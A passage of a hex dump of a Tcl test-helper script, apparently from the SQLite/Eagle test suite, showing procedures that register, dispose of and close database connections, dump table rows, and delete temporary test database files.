69 6f 6e 7d Name connection} 145d0 20 7d 20 7b 0d 0a 20 20 20 20 20 20 23 0d 0a 20 } {.. #.. 145e0 20 20 20 20 20 23 20 4e 4f 54 45 3a 20 52 65 66 # NOTE: Ref 145f0 65 72 20 74 6f 20 74 68 65 20 73 70 65 63 69 66 er to the specif 14600 69 65 64 20 76 61 72 69 61 62 6c 65 20 28 65 2e ied variable (e. 14610 67 2e 20 22 63 6f 6e 6e 65 63 74 69 6f 6e 22 29 g. "connection") 14620 20 69 6e 20 74 68 65 0d 0a 20 20 20 20 20 20 23 in the.. # 14630 20 20 20 20 20 20 20 63 6f 6e 74 65 78 74 20 6f context o 14640 66 20 6f 75 72 20 63 61 6c 6c 65 72 2e 20 20 54 f our caller. T 14650 68 65 20 6f 70 61 71 75 65 20 6f 62 6a 65 63 74 he opaque object 14660 20 68 61 6e 64 6c 65 20 66 6f 72 20 61 6e 20 41 handle for an A 14670 44 4f 2e 4e 45 54 0d 0a 20 20 20 20 20 20 23 20 DO.NET.. # 14680 20 20 20 20 20 20 63 6f 6e 6e 65 63 74 69 6f 6e connection 14690 20 70 72 65 76 69 6f 75 73 6c 79 20 72 65 74 75 previously retu 146a0 72 6e 65 64 20 62 79 20 5b 67 65 74 44 62 43 6f rned by [getDbCo 146b0 6e 6e 65 63 74 69 6f 6e 5d 20 73 68 6f 75 6c 64 nnection] should 146c0 20 62 65 0d 0a 20 20 20 20 20 20 23 20 20 20 20 be.. # 146d0 20 20 20 73 74 6f 72 65 64 20 74 68 65 72 65 2e stored there. 146e0 0d 0a 20 20 20 20 20 20 23 0d 0a 20 20 20 20 20 .. #.. 146f0 20 75 70 76 61 72 20 31 20 24 76 61 72 4e 61 6d upvar 1 $varNam 14700 65 20 63 6f 6e 6e 65 63 74 69 6f 6e 0d 0a 0d 0a e connection.... 14710 20 20 20 20 20 20 23 0d 0a 20 20 20 20 20 20 23 #.. # 14720 20 4e 4f 54 45 3a 20 41 74 74 65 6d 70 74 20 74 NOTE: Attempt t 14730 6f 20 72 65 6d 6f 76 65 20 74 68 65 20 6f 70 61 o remove the opa 14740 71 75 65 20 6f 62 6a 65 63 74 20 68 61 6e 64 6c que object handl 14750 65 20 66 72 6f 6d 20 74 68 65 20 69 6e 74 65 72 e from the inter 14760 70 72 65 74 65 72 0d 0a 20 20 20 20 20 20 23 20 preter.. # 14770 20 20 20 20 20 20 6e 6f 77 2e 20 20 54 68 69 73 now. This 14780 20 5b 6f 62 6a 65 63 74 20 64 69 73 70 6f 73 65 [object dispose 14790 5d 20 63 61 6c 6c 20 77 69 6c 6c 20 6e 6f 74 20 ] call will not 147a0 61 63 74 75 61 6c 6c 79 20 64 69 73 70 6f 73 65 actually dispose 147b0 20 6f 66 20 74 68 65 0d 0a 20 20 20 20 20 20 23 of the.. # 147c0 20 20 20 20 20 20 20 75 6e 64 65 72 6c 79 69 6e underlyin 147d0 67 20 6f 62 6a 65 63 74 20 62 65 63 61 75 73 65 g object because 147e0 20 74 68 65 20 2b 4e 6f 44 69 73 70 6f 73 65 20 the +NoDispose 147f0 66 6c 61 67 20 77 61 73 20 73 65 74 20 6f 6e 20 flag was set on 14800 69 74 0d 0a 20 20 20 20 20 20 23 20 20 20 20 20 it.. # 14810 20 20 64 75 72 69 6e 67 20 63 72 65 61 74 69 6f during creatio 14820 6e 20 6f 66 20 74 68 65 20 6f 70 61 71 75 65 20 n of the opaque 14830 6f 62 6a 65 63 74 20 68 61 6e 64 6c 65 2e 0d 0a object handle... 14840 20 20 20 20 20 20 23 0d 0a 20 20 20 20 20 20 69 #.. i 14850 66 20 7b 5b 69 6e 66 6f 20 65 78 69 73 74 73 20 f {[info exists 14860 63 6f 6e 6e 65 63 74 69 6f 6e 5d 20 26 26 20 5c connection] && \ 14870 0d 0a 20 20 20 20 20 20 20 20 20 20 5b 63 61 74 .. [cat 14880 63 68 20 7b 6f 62 6a 65 63 74 20 64 69 73 70 6f ch {object dispo 14890 73 65 20 24 63 6f 6e 6e 65 63 74 69 6f 6e 7d 20 se$connection} 148a0 65 72 72 6f 72 5d 7d 20 74 68 65 6e 20 7b 0d 0a error]} then {.. 148b0 20 20 20 20 20 20 20 20 23 0d 0a 20 20 20 20 20 #.. 148c0 20 20 20 23 20 4e 4f 54 45 3a 20 57 65 20 73 6f # NOTE: We so 148d0 6d 65 68 6f 77 20 66 61 69 6c 65 64 20 74 6f 20 mehow failed to 148e0 72 65 6d 6f 76 65 20 74 68 65 20 68 61 6e 64 6c remove the handl 148f0 65 2c 20 72 65 70 6f 72 74 20 77 68 79 2e 0d 0a e, report why... 14900 20 20 20 20 20 20 20 20 23 0d 0a 20 20 20 20 20 #.. 14910 20 20 20 74 70 75 74 73 20 24 3a 3a 74 65 73 74 tputs $::test 14920 5f 63 68 61 6e 6e 65 6c 20 5b 61 70 70 65 6e 64 _channel [append 14930 41 72 67 73 20 5c 0d 0a 20 20 20 20 20 20 20 20 Args \.. 14940 20 20 20 20 22 3d 3d 3d 3d 20 57 41 52 4e 49 4e "==== WARNIN 14950 47 3a 20 66 61 69 6c 65 64 20 74 6f 20 72 65 6d G: failed to rem 14960 6f 76 65 20 63 6f 6e 6e 65 63 74 69 6f 6e 20 68 ove connection h 14970 61 6e 64 6c 65 20 5c 22 22 20 24 63 6f 6e 6e 65 andle \""$conne 14980 63 74 69 6f 6e 20 5c 0d 0a 20 20 20 20 20 20 20 ction \.. 14990 20 20 20 20 20 22 5c 22 2c 20 65 72 72 6f 72 3a "\", error: 149a0 20 22 20 5c 6e 5c 74 20 24 65 72 72 6f 72 20 5c " \n\t $error \ 149b0 6e 5d 0d 0a 20 20 20 20 20 20 7d 0d 0a 20 20 20 n].. }.. 149c0 20 7d 0d 0a 0c 0d 0a 20 20 20 20 70 72 6f 63 20 }..... proc 149d0 61 64 64 44 62 43 6f 6e 6e 65 63 74 69 6f 6e 20 addDbConnection 149e0 7b 20 63 6f 6e 6e 65 63 74 69 6f 6e 20 7b 76 61 { connection {va 149f0 72 4e 61 6d 65 20 64 62 7d 20 7d 20 7b 0d 0a 20 rName db} } {.. 14a00 20 20 20 20 20 23 0d 0a 20 20 20 20 20 20 23 20 #.. # 14a10 4e 4f 54 45 3a 20 52 65 66 65 72 20 74 6f 20 74 NOTE: Refer to t 14a20 68 65 20 73 70 65 63 69 66 69 65 64 20 76 61 72 he specified var 14a30 69 61 62 6c 65 20 28 65 2e 67 2e 20 22 64 62 22 iable (e.g. "db" 14a40 29 20 69 6e 20 74 68 65 20 63 6f 6e 74 65 78 74 ) in the context 14a50 20 6f 66 20 6f 75 72 0d 0a 20 20 20 20 20 20 23 of our.. # 14a60 20 20 20 20 20 20 20 63 61 6c 6c 65 72 2e 0d 0a caller... 14a70 20 20 20 20 20 20 23 0d 0a 20 20 20 20 20 20 75 #.. u 14a80 70 76 61 72 20 31 20 24 76 61 72 4e 61 6d 65 20 pvar 1$varName 14a90 64 62 0d 0a 0d 0a 20 20 20 20 20 20 23 0d 0a 20 db.... #.. 14aa0 20 20 20 20 20 23 20 4e 4f 54 45 3a 20 43 72 65 # NOTE: Cre 14ab0 61 74 65 20 61 20 63 6f 72 72 65 63 74 6c 79 20 ate a correctly 14ac0 66 6f 72 6d 61 74 74 65 64 20 6e 61 6d 65 20 66 formatted name f 14ad0 6f 72 20 74 68 65 20 64 61 74 61 62 61 73 65 20 or the database 14ae0 63 6f 6e 6e 65 63 74 69 6f 6e 20 74 6f 0d 0a 20 connection to.. 14af0 20 20 20 20 20 23 20 20 20 20 20 20 20 62 65 20 # be 14b00 61 64 64 65 64 20 74 6f 20 74 68 65 20 6c 69 73 added to the lis 14b10 74 20 6d 61 6e 61 67 65 64 20 62 79 20 74 68 65 t managed by the 14b20 20 45 61 67 6c 65 20 69 6e 74 65 72 70 72 65 74 Eagle interpret 14b30 65 72 2e 0d 0a 20 20 20 20 20 20 23 0d 0a 20 20 er... #.. 14b40 20 20 20 20 73 65 74 20 64 62 20 5b 6f 62 6a 65 set db [obje 14b50 63 74 20 69 6e 76 6f 6b 65 20 2d 66 6c 61 67 73 ct invoke -flags 14b60 20 2b 4e 6f 6e 50 75 62 6c 69 63 20 5c 0d 0a 20 +NonPublic \.. 14b70 20 20 20 20 20 20 20 20 20 45 61 67 6c 65 2e 5f Eagle._ 14b80 43 6f 6d 70 6f 6e 65 6e 74 73 2e 50 72 69 76 61 Components.Priva 14b90 74 65 2e 46 6f 72 6d 61 74 4f 70 73 20 44 61 74 te.FormatOps Dat 14ba0 61 62 61 73 65 4f 62 6a 65 63 74 4e 61 6d 65 20 abaseObjectName 14bb0 24 63 6f 6e 6e 65 63 74 69 6f 6e 20 5c 0d 0a 20 $connection \.. 14bc0 20 20 20 20 20 20 20 20 20 53 51 4c 69 74 65 43 SQLiteC 14bd0 6f 6e 6e 65 63 74 69 6f 6e 20 5b 6f 62 6a 65 63 onnection [objec 14be0 74 20 69 6e 76 6f 6b 65 20 49 6e 74 65 72 70 72 t invoke Interpr 14bf0 65 74 65 72 2e 47 65 74 41 63 74 69 76 65 20 4e eter.GetActive N 14c00 65 78 74 49 64 5d 5d 0d 0a 0d 0a 20 20 20 20 20 extId]].... 14c10 20 23 0d 0a 20 20 20 20 20 20 23 20 4e 4f 54 45 #.. # NOTE 14c20 3a 20 41 64 64 20 74 68 65 20 64 61 74 61 62 61 : Add the databa 14c30 73 65 20 63 6f 6e 6e 65 63 74 69 6f 6e 20 70 72 se connection pr 14c40 6f 76 69 64 65 64 20 62 79 20 6f 75 72 20 63 61 ovided by our ca 14c50 6c 6c 65 72 20 74 6f 20 74 68 65 20 6c 69 73 74 ller to the list 14c60 0d 0a 20 20 20 20 20 20 23 20 20 20 20 20 20 20 .. # 14c70 6f 66 20 74 68 6f 73 65 20 6b 6e 6f 77 6e 20 74 of those known t 14c80 6f 20 74 68 65 20 45 61 67 6c 65 20 69 6e 74 65 o the Eagle inte 14c90 72 70 72 65 74 65 72 2e 0d 0a 20 20 20 20 20 20 rpreter... 14ca0 23 0d 0a 20 20 20 20 20 20 6f 62 6a 65 63 74 20 #.. object 14cb0 69 6e 76 6f 6b 65 20 2d 66 6c 61 67 73 20 2b 4e invoke -flags +N 14cc0 6f 6e 50 75 62 6c 69 63 20 49 6e 74 65 72 70 72 onPublic Interpr 14cd0 65 74 65 72 2e 47 65 74 41 63 74 69 76 65 2e 63 eter.GetActive.c 14ce0 6f 6e 6e 65 63 74 69 6f 6e 73 20 41 64 64 20 5c onnections Add \ 14cf0 0d 0a 20 20 20 20 20 20 20 20 20 20 24 64 62 20 ..$db 14d00 24 63 6f 6e 6e 65 63 74 69 6f 6e 0d 0a 20 20 20 $connection.. 14d10 20 7d 0d 0a 0c 0d 0a 20 20 20 20 70 72 6f 63 20 }..... proc 14d20 67 65 74 52 6f 77 73 46 72 6f 6d 44 61 74 61 54 getRowsFromDataT 14d30 61 62 6c 65 20 7b 20 64 61 74 61 54 61 62 6c 65 able { dataTable 14d40 20 7d 20 7b 0d 0a 20 20 20 20 20 20 73 65 74 20 } {.. set 14d50 72 6f 77 73 20 5b 6c 69 73 74 5d 0d 0a 20 20 20 rows [list].. 14d60 20 20 20 73 65 74 20 63 6f 75 6e 74 20 5b 24 64 set count [$d 14d70 61 74 61 54 61 62 6c 65 20 43 6f 6c 75 6d 6e 73 ataTable Columns 14d80 2e 43 6f 75 6e 74 5d 0d 0a 0d 0a 20 20 20 20 20 .Count].... 14d90 20 66 6f 72 20 7b 73 65 74 20 69 6e 64 65 78 20 for {set index 14da0 30 7d 20 7b 24 69 6e 64 65 78 20 3c 20 24 63 6f 0} {$index <$co 14db0 75 6e 74 7d 20 7b 69 6e 63 72 20 69 6e 64 65 78 unt} {incr index 14dc0 7d 20 7b 0d 0a 20 20 20 20 20 20 20 20 73 65 74 } {.. set 14dd0 20 64 61 74 61 43 6f 6c 75 6d 6e 20 5b 24 64 61 dataColumn [$da 14de0 74 61 54 61 62 6c 65 20 2d 61 6c 69 61 73 20 43 taTable -alias C 14df0 6f 6c 75 6d 6e 73 2e 67 65 74 5f 49 74 65 6d 20 olumns.get_Item 14e00 24 69 6e 64 65 78 5d 0d 0a 20 20 20 20 20 20 20$index].. 14e10 20 73 65 74 20 6e 61 6d 65 73 28 24 69 6e 64 65 set names($inde 14e20 78 29 20 5b 24 64 61 74 61 43 6f 6c 75 6d 6e 20 x) [$dataColumn 14e30 43 6f 6c 75 6d 6e 4e 61 6d 65 5d 0d 0a 20 20 20 ColumnName].. 14e40 20 20 20 7d 0d 0a 0d 0a 20 20 20 20 20 20 6f 62 }.... ob 14e50 6a 65 63 74 20 66 6f 72 65 61 63 68 20 2d 61 6c ject foreach -al 14e60 69 61 73 20 64 61 74 61 52 6f 77 20 5b 73 65 74 ias dataRow [set 14e70 20 64 61 74 61 52 6f 77 73 20 5b 24 64 61 74 61 dataRows [$data 14e80 54 61 62 6c 65 20 52 6f 77 73 5d 5d 20 7b 0d 0a Table Rows]] {.. 14e90 20 20 20 20 20 20 20 20 73 65 74 20 72 6f 77 20 set row 14ea0 5b 6c 69 73 74 5d 0d 0a 0d 0a 20 20 20 20 20 20 [list].... 14eb0 20 20 66 6f 72 20 7b 73 65 74 20 69 6e 64 65 78 for {set index 14ec0 20 30 7d 20 7b 24 69 6e 64 65 78 20 3c 20 24 63 0} {$index < $c 14ed0 6f 75 6e 74 7d 20 7b 69 6e 63 72 20 69 6e 64 65 ount} {incr inde 14ee0 78 7d 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 x} {.. 14ef0 73 65 74 20 76 61 6c 75 65 20 5b 24 64 61 74 61 set value [$data 14f00 52 6f 77 20 2d 63 72 65 61 74 65 20 2d 61 6c 69 Row -create -ali 14f10 61 73 20 67 65 74 5f 49 74 65 6d 20 24 69 6e 64 as get_Item $ind 14f20 65 78 5d 0d 0a 0d 0a 20 20 20 20 20 20 20 20 20 ex].... 14f30 20 69 66 20 7b 5b 73 74 72 69 6e 67 20 6c 65 6e if {[string len 14f40 67 74 68 20 24 76 61 6c 75 65 5d 20 3e 20 30 20 gth$value] > 0 14f50 26 26 20 5c 0d 0a 20 20 20 20 20 20 20 20 20 20 && \.. 14f60 20 20 20 20 21 5b 6f 62 6a 65 63 74 20 69 6e 76 ![object inv 14f70 6f 6b 65 20 43 6f 6e 76 65 72 74 20 49 73 44 42 oke Convert IsDB 14f80 4e 75 6c 6c 20 24 76 61 6c 75 65 5d 7d 20 74 68 Null $value]} th 14f90 65 6e 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 en {.. 14fa0 20 20 6c 61 70 70 65 6e 64 20 72 6f 77 20 5b 6c lappend row [l 14fb0 69 73 74 20 24 6e 61 6d 65 73 28 24 69 6e 64 65 ist$names($inde 14fc0 78 29 20 5b 24 76 61 6c 75 65 20 54 6f 53 74 72 x) [$value ToStr 14fd0 69 6e 67 5d 5d 0d 0a 20 20 20 20 20 20 20 20 20 ing]].. 14fe0 20 7d 20 65 6c 73 65 20 7b 0d 0a 20 20 20 20 20 } else {.. 14ff0 20 20 20 20 20 20 20 6c 61 70 70 65 6e 64 20 72 lappend r 15000 6f 77 20 5b 6c 69 73 74 20 24 6e 61 6d 65 73 28 ow [list $names( 15010 24 69 6e 64 65 78 29 5d 0d 0a 20 20 20 20 20 20$index)].. 15020 20 20 20 20 7d 0d 0a 20 20 20 20 20 20 20 20 7d }.. } 15030 0d 0a 0d 0a 20 20 20 20 20 20 20 20 6c 61 70 70 .... lapp 15040 65 6e 64 20 72 6f 77 73 20 24 72 6f 77 0d 0a 20 end rows $row.. 15050 20 20 20 20 20 7d 0d 0a 0d 0a 20 20 20 20 20 20 }.... 15060 72 65 74 75 72 6e 20 24 72 6f 77 73 0d 0a 20 20 return$rows.. 15070 20 20 7d 0d 0a 0c 0d 0a 20 20 20 20 70 72 6f 63 }..... proc 15080 20 64 75 6d 70 52 6f 77 73 46 72 6f 6d 44 61 74 dumpRowsFromDat 15090 61 54 61 62 6c 65 20 7b 20 63 68 61 6e 6e 65 6c aTable { channel 150a0 20 72 6f 77 73 20 7d 20 7b 0d 0a 20 20 20 20 20 rows } {.. 150b0 20 73 65 74 20 73 65 71 75 65 6e 63 65 20 31 0d set sequence 1. 150c0 0a 0d 0a 20 20 20 20 20 20 66 6f 72 65 61 63 68 ... foreach 150d0 20 72 6f 77 20 24 72 6f 77 73 20 7b 0d 0a 20 20 row $rows {.. 150e0 20 20 20 20 20 20 74 70 75 74 73 20 24 63 68 61 tputs$cha 150f0 6e 6e 65 6c 20 5b 61 70 70 65 6e 64 41 72 67 73 nnel [appendArgs 15100 20 5c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 \.. 15110 5b 65 78 70 72 20 7b 24 73 65 71 75 65 6e 63 65 [expr {$sequence 15120 20 3e 20 31 20 3f 20 22 5c 6e 22 20 3a 20 22 22 > 1 ? "\n" : "" 15130 7d 5d 20 22 2d 2d 2d 2d 20 52 4f 57 20 23 22 20 }] "---- ROW #" 15140 24 73 65 71 75 65 6e 63 65 20 3a 5c 6e 5d 0d 0a$sequence :\n].. 15150 0d 0a 20 20 20 20 20 20 20 20 66 6f 72 65 61 63 .. foreac 15160 68 20 70 61 69 72 20 24 72 6f 77 20 7b 0d 0a 20 h pair $row {.. 15170 20 20 20 20 20 20 20 20 20 69 66 20 7b 5b 6c 6c if {[ll 15180 65 6e 67 74 68 20 24 70 61 69 72 5d 20 3e 3d 20 ength$pair] >= 15190 32 7d 20 74 68 65 6e 20 7b 0d 0a 20 20 20 20 20 2} then {.. 151a0 20 20 20 20 20 20 20 74 70 75 74 73 20 24 63 68 tputs $ch 151b0 61 6e 6e 65 6c 20 5b 61 70 70 65 6e 64 41 72 67 annel [appendArg 151c0 73 20 5c 74 20 5c 0d 0a 20 20 20 20 20 20 20 20 s \t \.. 151d0 20 20 20 20 20 20 20 20 5b 6c 69 73 74 20 5b 6c [list [l 151e0 69 6e 64 65 78 20 24 70 61 69 72 20 30 5d 5d 20 index$pair 0]] 151f0 22 3a 20 22 20 5b 6c 69 73 74 20 5b 6c 69 6e 64 ": " [list [lind 15200 65 78 20 24 70 61 69 72 20 31 5d 5d 20 5c 6e 5d ex $pair 1]] \n] 15210 0d 0a 20 20 20 20 20 20 20 20 20 20 7d 20 65 6c .. } el 15220 73 65 69 66 20 7b 5b 6c 6c 65 6e 67 74 68 20 24 seif {[llength$ 15230 70 61 69 72 5d 20 3d 3d 20 31 7d 20 74 68 65 6e pair] == 1} then 15240 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 {.. 15250 74 70 75 74 73 20 24 63 68 61 6e 6e 65 6c 20 5b tputs $channel [ 15260 61 70 70 65 6e 64 41 72 67 73 20 5c 74 20 5c 0d appendArgs \t \. 15270 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 . 15280 20 5b 6c 69 73 74 20 5b 6c 69 6e 64 65 78 20 24 [list [lindex$ 15290 70 61 69 72 20 30 5d 5d 20 22 3a 20 3c 6e 75 6c pair 0]] ": <nul 152a0 6c 3e 5c 6e 22 5d 0d 0a 20 20 20 20 20 20 20 20 l>\n"].. 152b0 20 20 7d 20 65 6c 73 65 20 7b 0d 0a 20 20 20 20 } else {.. 152c0 20 20 20 20 20 20 20 20 74 70 75 74 73 20 24 63 tputs $c 152d0 68 61 6e 6e 65 6c 20 5c 74 3c 65 6d 70 74 79 3e hannel \t<empty> 152e0 5c 6e 3b 20 23 20 4e 4f 54 45 3a 20 4e 6f 20 64 \n; # NOTE: No d 152f0 61 74 61 3f 0d 0a 20 20 20 20 20 20 20 20 20 20 ata?.. 15300 7d 0d 0a 20 20 20 20 20 20 20 20 7d 0d 0a 0d 0a }.. }.... 15310 20 20 20 20 20 20 20 20 69 6e 63 72 20 73 65 71 incr seq 15320 75 65 6e 63 65 0d 0a 20 20 20 20 20 20 7d 0d 0a uence.. }.. 15330 20 20 20 20 7d 0d 0a 0c 0d 0a 20 20 20 20 70 72 }..... pr 15340 6f 63 20 63 6c 65 61 6e 75 70 44 62 20 7b 20 66 oc cleanupDb { f 15350 69 6c 65 4e 61 6d 65 20 7b 76 61 72 4e 61 6d 65 ileName {varName 15360 20 64 62 7d 20 7b 63 6f 6c 6c 65 63 74 20 74 72 db} {collect tr 15370 75 65 7d 20 7b 71 75 61 6c 69 66 79 20 74 72 75 ue} {qualify tru 15380 65 7d 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 e}.. 15390 20 20 20 20 20 20 20 20 20 7b 64 65 6c 65 74 65 {delete 153a0 20 74 72 75 65 7d 20 7d 20 7b 0d 0a 20 20 20 20 true} } {.. 153b0 20 20 23 0d 0a 20 20 20 20 20 20 23 20 4e 4f 54 #.. # NOT 153c0 45 3a 20 41 74 74 65 6d 70 74 20 74 6f 20 66 6f E: Attempt to fo 153d0 72 63 65 20 61 6c 6c 20 70 65 6e 64 69 6e 67 20 rce all pending 153e0 22 67 61 72 62 61 67 65 22 20 6f 62 6a 65 63 74 "garbage" object 153f0 73 20 74 6f 20 62 65 20 63 6f 6c 6c 65 63 74 65 s to be collecte 15400 64 2c 0d 0a 20 20 20 20 20 20 23 20 20 20 20 20 d,.. # 15410 20 20 69 6e 63 6c 75 64 69 6e 67 20 53 51 4c 69 including SQLi 15420 74 65 20 73 74 61 74 65 6d 65 6e 74 73 20 61 6e te statements an 15430 64 20 62 61 63 6b 75 70 20 6f 62 6a 65 63 74 73 d backup objects 15440 3b 20 74 68 69 73 20 73 68 6f 75 6c 64 20 61 6c ; this should al 15450 6c 6f 77 0d 0a 20 20 20 20 20 20 23 20 20 20 20 low.. # 15460 20 20 20 74 68 65 20 75 6e 64 65 72 6c 79 69 6e the underlyin 15470 67 20 64 61 74 61 62 61 73 65 20 66 69 6c 65 20 g database file 15480 74 6f 20 62 65 20 64 65 6c 65 74 65 64 2e 0d 0a to be deleted... 15490 20 20 20 20 20 20 23 0d 0a 20 20 20 20 20 20 69 #.. i 154a0 66 20 7b 24 63 6f 6c 6c 65 63 74 7d 20 74 68 65 f {$collect} the 154b0 6e 20 7b 0d 0a 20 20 20 20 20 20 20 20 63 6f 6c n {.. col 154c0 6c 65 63 74 47 61 72 62 61 67 65 20 24 3a 3a 74 lectGarbage $::t 154d0 65 73 74 5f 63 68 61 6e 6e 65 6c 0d 0a 20 20 20 est_channel.. 154e0 20 20 20 7d 0d 0a 0d 0a 20 20 20 20 20 20 23 0d }.... #. 154f0 0a 20 20 20 20 20 20 23 20 4e 4f 54 45 3a 20 52 . # NOTE: R 15500 65 66 65 72 20 74 6f 20 74 68 65 20 73 70 65 63 efer to the spec 15510 69 66 69 65 64 20 76 61 72 69 61 62 6c 65 20 28 ified variable ( 15520 65 2e 67 2e 20 22 64 62 22 29 20 69 6e 20 74 68 e.g. "db") in th 15530 65 20 63 6f 6e 74 65 78 74 20 6f 66 20 6f 75 72 e context of our 15540 0d 0a 20 20 20 20 20 20 23 20 20 20 20 20 20 20 .. # 15550 63 61 6c 6c 65 72 2e 20 20 54 68 65 20 68 61 6e caller. The han 15560 64 6c 65 20 74 6f 20 74 68 65 20 64 61 74 61 62 dle to the datab 15570 61 73 65 20 70 72 65 76 69 6f 75 73 6c 79 20 6f ase previously o 15580 70 65 6e 65 64 20 76 69 61 20 74 68 65 0d 0a 20 pened via the.. 15590 20 20 20 20 20 23 20 20 20 20 20 20 20 5b 73 65 # [se 155a0 74 75 70 44 62 5d 20 70 72 6f 63 65 64 75 72 65 tupDb] procedure 155b0 20 73 68 6f 75 6c 64 20 62 65 20 73 74 6f 72 65 should be store 155c0 64 20 74 68 65 72 65 2e 0d 0a 20 20 20 20 20 20 d there... 155d0 23 0d 0a 20 20 20 20 20 20 75 70 76 61 72 20 31 #.. upvar 1 155e0 20 24 76 61 72 4e 61 6d 65 20 64 62 0d 0a 0d 0a$varName db.... 155f0 20 20 20 20 20 20 23 0d 0a 20 20 20 20 20 20 23 #.. # 15600 20 4e 4f 54 45 3a 20 43 6c 6f 73 65 20 74 68 65 NOTE: Close the 15610 20 63 6f 6e 6e 65 63 74 69 6f 6e 20 74 6f 20 74 connection to t 15620 68 65 20 64 61 74 61 62 61 73 65 20 6e 6f 77 2e he database now. 15630 20 20 54 68 69 73 20 73 68 6f 75 6c 64 20 61 6c This should al 15640 6c 6f 77 20 75 73 0d 0a 20 20 20 20 20 20 23 20 low us.. # 15650 20 20 20 20 20 20 74 6f 20 64 65 6c 65 74 65 20 to delete 15660 74 68 65 20 75 6e 64 65 72 6c 79 69 6e 67 20 64 the underlying d 15670 61 74 61 62 61 73 65 20 66 69 6c 65 2e 0d 0a 20 atabase file... 15680 20 20 20 20 20 23 0d 0a 20 20 20 20 20 20 69 66 #.. if 15690 20 7b 5b 69 6e 66 6f 20 65 78 69 73 74 73 20 64 {[info exists d 156a0 62 5d 20 26 26 20 5b 63 61 74 63 68 20 7b 73 71 b] && [catch {sq 156b0 6c 20 63 6c 6f 73 65 20 24 64 62 7d 20 65 72 72 l close $db} err 156c0 6f 72 5d 7d 20 74 68 65 6e 20 7b 0d 0a 20 20 20 or]} then {.. 156d0 20 20 20 20 20 23 0d 0a 20 20 20 20 20 20 20 20 #.. 156e0 23 20 4e 4f 54 45 3a 20 57 65 20 73 6f 6d 65 68 # NOTE: We someh 156f0 6f 77 20 66 61 69 6c 65 64 20 74 6f 20 63 6c 6f ow failed to clo 15700 73 65 20 74 68 65 20 64 61 74 61 62 61 73 65 2c se the database, 15710 20 72 65 70 6f 72 74 20 77 68 79 2e 0d 0a 20 20 report why... 15720 20 20 20 20 20 20 23 0d 0a 20 20 20 20 20 20 20 #.. 15730 20 74 70 75 74 73 20 24 3a 3a 74 65 73 74 5f 63 tputs$::test_c 15740 68 61 6e 6e 65 6c 20 5b 61 70 70 65 6e 64 41 72 hannel [appendAr 15750 67 73 20 5c 0d 0a 20 20 20 20 20 20 20 20 20 20 gs \.. 15760 20 20 22 3d 3d 3d 3d 20 57 41 52 4e 49 4e 47 3a "==== WARNING: 15770 20 66 61 69 6c 65 64 20 74 6f 20 63 6c 6f 73 65 failed to close 15780 20 64 61 74 61 62 61 73 65 20 5c 22 22 20 24 64 database \"" $d 15790 62 20 22 5c 22 2c 20 65 72 72 6f 72 3a 20 22 20 b "\", error: " 157a0 5c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 5c \.. \ 157b0 6e 5c 74 20 24 65 72 72 6f 72 20 5c 6e 5d 0d 0a n\t$error \n].. 157c0 20 20 20 20 20 20 7d 0d 0a 0d 0a 20 20 20 20 20 }.... 157d0 20 23 0d 0a 20 20 20 20 20 20 23 20 4e 4f 54 45 #.. # NOTE 157e0 3a 20 46 69 72 73 74 2c 20 73 65 65 20 69 66 20 : First, see if 157f0 6f 75 72 20 63 61 6c 6c 65 72 20 68 61 73 20 72 our caller has r 15800 65 71 75 65 73 74 65 64 20 61 6e 20 69 6e 2d 6d equested an in-m 15810 65 6d 6f 72 79 20 64 61 74 61 62 61 73 65 2e 0d emory database.. 15820 0a 20 20 20 20 20 20 23 0d 0a 20 20 20 20 20 20 . #.. 15830 73 65 74 20 69 73 4d 65 6d 6f 72 79 20 5b 69 73 set isMemory [is 15840 4d 65 6d 6f 72 79 44 62 20 24 66 69 6c 65 4e 61 MemoryDb $fileNa 15850 6d 65 5d 0d 0a 0d 0a 20 20 20 20 20 20 23 0d 0a me].... #.. 15860 20 20 20 20 20 20 23 20 4e 4f 54 45 3a 20 42 75 # NOTE: Bu 15870 69 6c 64 20 74 68 65 20 66 75 6c 6c 20 70 61 74 ild the full pat 15880 68 20 74 6f 20 74 68 65 20 64 61 74 61 62 61 73 h to the databas 15890 65 20 66 69 6c 65 20 6e 61 6d 65 2e 20 20 46 6f e file name. Fo 158a0 72 20 6e 6f 77 2c 20 61 6c 6c 20 74 65 73 74 0d r now, all test. 158b0 0a 20 20 20 20 20 20 23 20 20 20 20 20 20 20 64 . # d 158c0 61 74 61 62 61 73 65 20 66 69 6c 65 73 20 61 72 atabase files ar 158d0 65 20 73 74 6f 72 65 64 20 69 6e 20 74 68 65 20 e stored in the 158e0 74 65 6d 70 6f 72 61 72 79 20 64 69 72 65 63 74 temporary direct 158f0 6f 72 79 2e 0d 0a 20 20 20 20 20 20 23 0d 0a 20 ory... #.. 15900 20 20 20 20 20 69 66 20 7b 21 24 69 73 4d 65 6d if {!$isMem 15910 6f 72 79 20 26 26 20 24 71 75 61 6c 69 66 79 7d ory && $qualify} 15920 20 74 68 65 6e 20 7b 0d 0a 20 20 20 20 20 20 20 then {.. 15930 20 73 65 74 20 66 69 6c 65 4e 61 6d 65 20 5b 66 set fileName [f 15940 69 6c 65 20 6a 6f 69 6e 20 5b 67 65 74 44 61 74 ile join [getDat 15950 61 62 61 73 65 44 69 72 65 63 74 6f 72 79 5d 20 abaseDirectory] 15960 5b 66 69 6c 65 20 74 61 69 6c 20 24 66 69 6c 65 [file tail$file 15970 4e 61 6d 65 5d 5d 0d 0a 20 20 20 20 20 20 7d 0d Name]].. }. 15980 0a 0d 0a 20 20 20 20 20 20 23 0d 0a 20 20 20 20 ... #.. 15990 20 20 23 20 4e 4f 54 45 3a 20 43 68 65 63 6b 20 # NOTE: Check 159a0 69 66 20 74 68 65 20 66 69 6c 65 20 73 74 69 6c if the file stil 159b0 6c 20 65 78 69 73 74 73 2e 0d 0a 20 20 20 20 20 l exists... 159c0 20 23 0d 0a 20 20 20 20 20 20 69 66 20 7b 21 24 #.. if {!$159d0 69 73 4d 65 6d 6f 72 79 20 26 26 20 24 64 65 6c isMemory &&$del 159e0 65 74 65 20 26 26 20 5b 66 69 6c 65 20 65 78 69 ete && [file exi 159f0 73 74 73 20 24 66 69 6c 65 4e 61 6d 65 5d 7d 20 sts $fileName]} 